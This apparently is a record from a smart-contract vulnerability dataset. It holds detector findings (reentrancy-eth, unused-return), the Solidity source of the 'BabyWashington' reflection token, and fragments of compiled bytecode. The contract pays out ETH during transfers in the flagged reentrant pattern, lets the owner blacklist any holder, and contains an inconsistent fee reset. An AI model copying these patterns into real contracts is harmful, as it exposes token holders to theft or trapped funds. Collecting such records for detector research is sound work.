ffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eccaa9759f440af052843a2dafa2b5297dd03eb3fb803d319de7f3899f4c62ba64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
252
0x4d918b8a76f90de774541d5cc4487a28e02d5c15
/** *Submitted for verification at Etherscan.io on 2021-08-05 */ /* https://t.me/babywashington */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyWashington is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyWashington | t.me/babywashington"; string private constant _symbol = "BabyWashington"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 60000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a20565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec1565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e4565b610590565b6040516101a09190612ea6565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613063565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612995565b6105bf565b6040516102089190612ea6565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf5565b60405161024a91906130d8565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a61565b610bfe565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612907565b610cb0565b005b3480156102b157600080fd5b506102ba610da0565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612907565b610e12565b6040516102f09190613063565b60405180910390f35b34801561030557600080fd5b5061030e610e63565b005b34801561031c57600080fd5b50610325610fb6565b6040516103329190612dd8565b60405180910390f35b34801561034757600080fd5b50610350610fdf565b60405161035d9190612ec1565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e4565b61101c565b60405161039a9190612ea6565b60405180910390f35b3480156103af57600080fd5b506103b861103a565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab3565b6110b4565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612959565b6111fd565b6040516104179190613063565b60405180910390f35b610428611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc3565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613379565b9150506104b8565b5050565b60606040518060600160405280602481526020016137c460249139905090565b60006105a461059d611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611457565b61068d846105d8611284565b6106888560405180606001604052806028815260200161379c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b6106a0611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc3565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f03565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190612930565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190612930565b6040518363ffffffff1660e01b8152600401610942929190612df3565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190612930565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e12565b600080610a28610fb6565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e45565b6060604051808303818588803b158015610a6357600080fd5b505a